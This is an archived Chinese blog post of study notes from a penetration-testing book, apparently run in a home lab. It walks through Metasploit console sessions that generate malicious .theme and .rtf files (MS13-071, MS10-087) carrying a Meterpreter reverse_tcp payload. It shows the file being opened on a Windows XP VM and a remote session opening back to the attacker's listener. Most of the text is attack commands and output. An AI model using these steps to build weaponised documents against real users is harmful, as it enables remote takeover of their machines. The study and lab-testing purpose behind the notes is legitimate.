[历史归档]本文原发布于 cstriker1407.info 个人博客内容为历史存档仅供参考。发布时间2014-06-05 标题某《魔鬼训练营》读书笔记metasploit生成特定格式漏洞文件分类操作系统 / 安全 标签metasploit某《魔鬼训练营》读书笔记metasploit生成特定格式漏洞文件第一种使用方式不通过handler直接连接第二种使用方式通过handler连接笔记仅供学习交流使用请勿进行其他用途Metasploit自带了很多漏洞文件生成模块这里只笔记下最简单的使用rootkali:~# msfconsole。。。。。。 。。。。。。 msfsearch fileformat#搜索可用模块Matching ModulesName Disclosure Date Rank Description ---- --------------- ---- ----------- 。。。。。。 。。。。。。第一种使用方式不通过handler直接连接msfuse exploit/windows/fileformat/ms13_071_theme msf exploit(ms13_071_theme)show payloads Compatible PayloadsName Disclosure Date Rank Description ---- --------------- ---- ----------- 。。。。。。。 。。。。。。。 msf exploit(ms13_071_theme)setpayload windows/meterpreter/reverse_tcp payloadwindows/meterpreter/reverse_tcp msf exploit(ms13_071_theme)show options Module options(exploit/windows/fileformat/ms13_071_theme): Name Current Setting Required Description ---- --------------- -------- ----------- FILENAME msf.themeyesThe themefileSRVHOST0.0.0.0yesThelocalhostto listen on. This must be an address on thelocalmachine or0.0.0.0 SRVPORT445yesThelocalport to listen on. SSLfalseno Negotiate SSLforincoming connections SSLCert no Path to a custom SSL certificate(default is randomly generated)SSLVersion SSL3 no Specify the version of SSL that should be used(accepted: SSL2, SSL3, TLS1)UNCPATH no Override the UNC path to use(Ex:\\192.168.1.1\share\exploit.scr)Payload options(windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC processyesExit technique: seh, thread, process, none LHOSTyesThe listen address LPORT4444yesThe listen port Exploit target: Id Name -- ----0Windows XP SP3 / Windows2003SP2 msf exploit(ms13_071_theme)setLHOST192.168.19.128 LHOST192.168.19.128 msf exploit(ms13_071_theme)exploit[*]Exploit running as background job.[*]Started reverse handler on192.168.19.128:4444 msf exploit(ms13_071_theme)[*]Generating our malicious executable...[*]Creatingmsf.themefile...[]msf.theme stored at /root/.msf4/local/msf.theme[]Let your victimopenmsf.theme[*]Ready to deliver your payload on\\192.168.19.128\mEjIom\pDuQX.scr[*]Server started.#此时在windows上打开文件msf.theme点击【 屏幕保护 】选项卡会触发漏洞如下[*]Sending stage(769024bytes)to192.168.19.129[*]Meterpreter session1opened(192.168.19.128:4444 -192.168.19.129:1155)at2014-06-0421:45:19 0800 msf exploit(ms13_071_theme)sessions Active sessionsId Type Information Connection -- ---- ----------- ----------1meterpreter x86/win32 WINXP-PRO-VM\Administrator WINXP-PRO-VM192.168.19.128:4444 -192.168.19.129:1155(192.168.19.129)msf exploit(ms13_071_theme)sessions-i1[*]Starting interaction with1... meterpretersysinfo Computer:WINXP-PRO-VM OS:Windows XP(Build2600, Service Pack2). Architecture:x86 System Language:zh_CN Meterpreter:x86/win32 meterpreter第二种使用方式通过handler连接msfuse exploit/windows/fileformat/ms10_087_rtf_pfragments_bof msf exploit(ms10_087_rtf_pfragments_bof)show payloads Compatible PayloadsName Disclosure Date Rank Description ---- --------------- ---- ----------- 。。。。。。 。。。。。。 msf exploit(ms10_087_rtf_pfragments_bof)setpayload windows/meterpreter/reverse_tcp payloadwindows/meterpreter/reverse_tcp msf exploit(ms10_087_rtf_pfragments_bof)show options Module options(exploit/windows/fileformat/ms10_087_rtf_pfragments_bof): Name Current Setting Required Description ---- --------------- -------- ----------- FILENAME msf.rtfyesThefilename. Payload options(windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC processyesExit technique: seh, thread, process, none LHOSTyesThe listen address LPORT4444yesThe listen port Exploit target: Id Name -- ----0Automatic msf exploit(ms10_087_rtf_pfragments_bof)setLHOST192.168.19.128#将LHOST设置为本地IPLHOST192.168.19.128 msf exploit(ms10_087_rtf_pfragments_bof)setLPORT8888#手动设置下LPORTLPORT8888msf exploit(ms10_087_rtf_pfragments_bof)exploit[*]Creatingmsf.rtffile...[]msf.rtf stored at /root/.msf4/local/msf.rtf msf exploit(ms10_087_rtf_pfragments_bof)back msfuse exploit/multi/handler#切换到handler模块msf exploit(handler)setpayload windows/meterpreter/reverse_tcp payloadwindows/meterpreter/reverse_tcp msf exploit(handler)show options Module options(exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options(windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC processyesExit technique: seh, thread, process, none LHOSTyesThe listen address LPORT4444yesThe listen port Exploit target: Id Name -- ----0Wildcard Target msf exploit(handler)setLHOST192.168.19.128#设置好本地监听IPLHOST192.168.19.128 msf exploit(handler)setLPORT8888#设置好本地监听端口LPORT8888msf exploit(handler)exploit[*]Started reverse handler on192.168.19.128:8888[*]Starting the payload handler...#在windows上打开msf.rtf文件会触发漏洞如下[*]Sending stage(769024bytes)to192.168.19.129[*]Meterpreter session2opened(192.168.19.128:8888 -192.168.19.129:1163)at2014-06-0421:53:35 0800 meterpretersysinfo Computer:WINXP-PRO-VM OS:Windows XP(Build2600, Service Pack2). Architecture:x86 System Language:zh_CN Meterpreter:x86/win32 meterpreter